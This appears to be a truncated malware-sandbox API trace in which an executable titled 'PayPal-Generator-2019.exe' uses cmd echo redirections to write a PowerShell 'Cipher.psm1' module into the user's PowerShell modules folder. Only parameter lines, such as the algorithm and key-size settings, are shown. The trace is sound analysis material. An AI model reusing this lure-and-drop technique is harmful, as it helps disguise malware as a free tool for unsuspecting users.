CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[CmdletBinding()] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[CmdletBinding()] \r\n", lpUsedDefaultChar=0x0) returned 22 [0048.500] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0xe2f1d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2f1d4*=0x15, lpOverlapped=0x0) returned 1 [0048.500] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.501] _close (_FileHandle=3) returned 0 [0048.501] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.501] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.501] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.501] GetFileType (hFile=0x3c) returned 0x2 [0048.501] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.501] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f3cc | out: lpMode=0xe2f3cc) returned 1 [0048.502] _dup (_FileHandle=1) returned 3 [0048.502] _close (_FileHandle=1) returned 0 [0048.502] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.502] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f3ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.502] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.502] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.502] GetFileType (hFile=0x3c) returned 0x1 [0048.502] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39 [0048.502] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f3c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f3c4*=0) returned 0x38 [0048.502] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f3c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f3b8, lpOverlapped=0x0 | out: lpBuffer=0xe2f3c8*, lpNumberOfBytesRead=0xe2f3b8*=0x1, lpOverlapped=0x0) returned 1 [0048.502] GetConsoleTitleW (in: lpConsoleTitle=0xe2f1c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.504] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.504] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.504] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.504] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.504] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.504] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.504] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.504] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.504] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.504] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.504] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f184 | out: _Buffer=" [OutputType([System.Security.SecureString])] \r\n") returned 49 [0048.504] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.504] GetFileType (hFile=0x3c) returned 0x1 [0048.504] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [OutputType([System.Security.SecureString])] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [OutputType([System.Security.SecureString])] \r\n", lpUsedDefaultChar=0x0) returned 50 [0048.504] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe2f174, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2f174*=0x31, lpOverlapped=0x0) returned 1 [0048.504] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.505] _close (_FileHandle=3) returned 0 [0048.505] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.505] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.505] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.505] GetFileType (hFile=0x3c) returned 0x2 [0048.505] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.505] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f36c | out: lpMode=0xe2f36c) returned 1 [0048.506] _dup (_FileHandle=1) returned 3 [0048.506] _close (_FileHandle=1) returned 0 [0048.506] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.506] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f34c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.506] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.506] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.506] GetFileType (hFile=0x3c) returned 0x1 [0048.506] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6a [0048.507] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f364*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f364*=0) returned 0x69 [0048.507] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f368, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f358, lpOverlapped=0x0 | out: lpBuffer=0xe2f368*, lpNumberOfBytesRead=0xe2f358*=0x1, lpOverlapped=0x0) returned 1 [0048.507] GetConsoleTitleW (in: lpConsoleTitle=0xe2f168, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.508] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.508] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.508] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.508] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.508] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.508] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.508] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.508] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.508] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.508] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.508] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f124 | out: _Buffer="[OutputType([String], ParameterSetName='PlainText')] \r\n") returned 56 [0048.508] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.508] GetFileType (hFile=0x3c) returned 0x1 [0048.508] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[OutputType([String], ParameterSetName='PlainText')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[OutputType([String], ParameterSetName='PlainText')] \r\n", lpUsedDefaultChar=0x0) returned 57 [0048.508] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xe2f114, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2f114*=0x38, lpOverlapped=0x0) returned 1 [0048.509] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.509] _close (_FileHandle=3) returned 0 [0048.509] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.509] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.509] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.509] GetFileType (hFile=0x3c) returned 0x2 [0048.509] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.509] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f30c | out: lpMode=0xe2f30c) returned 1 [0048.512] _dup (_FileHandle=1) returned 3 [0048.512] _close (_FileHandle=1) returned 0 [0048.512] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.512] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f2ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.513] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.513] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.513] GetFileType (hFile=0x3c) returned 0x1 [0048.513] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa2 [0048.513] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f304*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f304*=0) returned 0xa1 [0048.513] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f308, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f2f8, lpOverlapped=0x0 | out: lpBuffer=0xe2f308*, lpNumberOfBytesRead=0xe2f2f8*=0x1, lpOverlapped=0x0) returned 1 [0048.513] GetConsoleTitleW (in: lpConsoleTitle=0xe2f108, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.515] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.515] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.515] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.515] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.515] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.515] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.515] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.515] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.515] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.515] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.515] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f0c4 | out: _Buffer="Param([Parameter(Mandatory=$false, Position=1)] \r\n") returned 51 [0048.515] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.515] GetFileType (hFile=0x3c) returned 0x1 [0048.515] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Param([Parameter(Mandatory=$false, Position=1)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Param([Parameter(Mandatory=$false, Position=1)] \r\n", lpUsedDefaultChar=0x0) returned 52 [0048.515] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0xe2f0b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2f0b4*=0x33, lpOverlapped=0x0) returned 1 [0048.515] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.516] _close (_FileHandle=3) returned 0 [0048.516] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.516] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.516] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.516] GetFileType (hFile=0x3c) returned 0x2 [0048.516] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.516] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f2ac | out: lpMode=0xe2f2ac) returned 1 [0048.521] _dup (_FileHandle=1) returned 3 [0048.521] _close (_FileHandle=1) returned 0 [0048.521] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.521] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f28c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.522] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.522] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.522] GetFileType (hFile=0x3c) returned 0x1 [0048.522] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd5 [0048.522] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f2a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f2a4*=0) returned 0xd4 [0048.522] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f2a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f298, lpOverlapped=0x0 | out: lpBuffer=0xe2f2a8*, lpNumberOfBytesRead=0xe2f298*=0x1, lpOverlapped=0x0) returned 1 [0048.522] GetConsoleTitleW (in: lpConsoleTitle=0xe2f0a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.525] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.525] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.525] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.525] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.525] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.525] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.525] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.525] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.525] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.525] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.526] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f064 | out: _Buffer=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n") returned 63 [0048.526] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.526] GetFileType (hFile=0x3c) returned 0x1 [0048.526] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", lpUsedDefaultChar=0x0) returned 64 [0048.526] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xe2f054, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2f054*=0x3f, lpOverlapped=0x0) returned 1 [0048.526] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.529] _close (_FileHandle=3) returned 0 [0048.529] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.529] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.529] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.529] GetFileType (hFile=0x3c) returned 0x2 [0048.529] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.529] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f24c | out: lpMode=0xe2f24c) returned 1 [0048.533] _dup (_FileHandle=1) returned 3 [0048.533] _close (_FileHandle=1) returned 0 [0048.533] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.533] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f22c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.533] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.533] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.533] GetFileType (hFile=0x3c) returned 0x1 [0048.533] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x114 [0048.533] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f244*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f244*=0) returned 0x113 [0048.533] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f248, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f238, lpOverlapped=0x0 | out: lpBuffer=0xe2f248*, lpNumberOfBytesRead=0xe2f238*=0x1, lpOverlapped=0x0) returned 1 [0048.533] GetConsoleTitleW (in: lpConsoleTitle=0xe2f048, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.535] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.536] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.536] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.536] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.536] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.536] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.536] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.536] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.536] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.536] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.536] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f004 | out: _Buffer=" [String]$Algorithm='AES', \r\n") returned 33 [0048.536] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.536] GetFileType (hFile=0x3c) returned 0x1 [0048.536] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$Algorithm='AES', \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$Algorithm='AES', \r\n", lpUsedDefaultChar=0x0) returned 34 [0048.536] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0xe2eff4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2eff4*=0x21, lpOverlapped=0x0) returned 1 [0048.537] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.537] _close (_FileHandle=3) returned 0 [0048.538] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.538] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.538] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.538] GetFileType (hFile=0x3c) returned 0x2 [0048.538] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.538] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f1ec | out: lpMode=0xe2f1ec) returned 1 [0048.581] _dup (_FileHandle=1) returned 3 [0048.581] _close (_FileHandle=1) returned 0 [0048.581] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.581] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f1cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.581] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.581] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.581] GetFileType (hFile=0x3c) returned 0x1 [0048.581] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x135 [0048.582] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f1e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f1e4*=0) returned 0x134 [0048.582] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f1e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f1d8, lpOverlapped=0x0 | out: lpBuffer=0xe2f1e8*, lpNumberOfBytesRead=0xe2f1d8*=0x1, lpOverlapped=0x0) returned 1 [0048.582] GetConsoleTitleW (in: lpConsoleTitle=0xe2efe8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.839] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.839] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.839] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.839] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.839] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.839] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.839] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.839] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.839] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.840] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.840] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2efa4 | out: _Buffer=" [Parameter(Mandatory=$false, Position=2)] \r\n") returned 49 [0048.840] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.840] GetFileType (hFile=0x3c) returned 0x1 [0048.840] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", lpUsedDefaultChar=0x0) returned 50 [0048.840] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe2ef94, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ef94*=0x31, lpOverlapped=0x0) returned 1 [0048.840] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.841] _close (_FileHandle=3) returned 0 [0048.841] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.841] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.841] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.841] GetFileType (hFile=0x3c) returned 0x2 [0048.841] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.841] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f18c | out: lpMode=0xe2f18c) returned 1 [0048.843] _dup (_FileHandle=1) returned 3 [0048.843] _close (_FileHandle=1) returned 0 [0048.844] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.844] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.844] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.844] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.844] GetFileType (hFile=0x3c) returned 0x1 [0048.844] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x166 [0048.844] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f184*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f184*=0) returned 0x165 [0048.844] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f188, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f178, lpOverlapped=0x0 | out: lpBuffer=0xe2f188*, lpNumberOfBytesRead=0xe2f178*=0x1, lpOverlapped=0x0) returned 1 [0048.845] GetConsoleTitleW (in: lpConsoleTitle=0xe2ef88, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.849] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.849] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.849] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.849] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.849] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.849] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.849] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.850] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.850] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.850] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.850] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ef44 | out: _Buffer=" [Int]$KeySize, \r\n") returned 22 [0048.850] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.850] GetFileType (hFile=0x3c) returned 0x1 [0048.850] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Int]$KeySize, \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Int]$KeySize, \r\n", lpUsedDefaultChar=0x0) returned 23 [0048.850] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xe2ef34, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ef34*=0x16, lpOverlapped=0x0) returned 1 [0048.850] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.860] _close (_FileHandle=3) returned 0 [0048.860] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.860] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.860] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.860] GetFileType (hFile=0x3c) returned 0x2 [0048.860] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.860] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f12c | out: lpMode=0xe2f12c) returned 1 [0048.864] _dup (_FileHandle=1) returned 3 [0048.864] _close (_FileHandle=1) returned 0 [0048.864] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.864] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f10c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.864] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.864] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.864] GetFileType (hFile=0x3c) returned 0x1 [0048.865] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17c [0048.865] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f124*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f124*=0) returned 0x17b [0048.865] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f128, 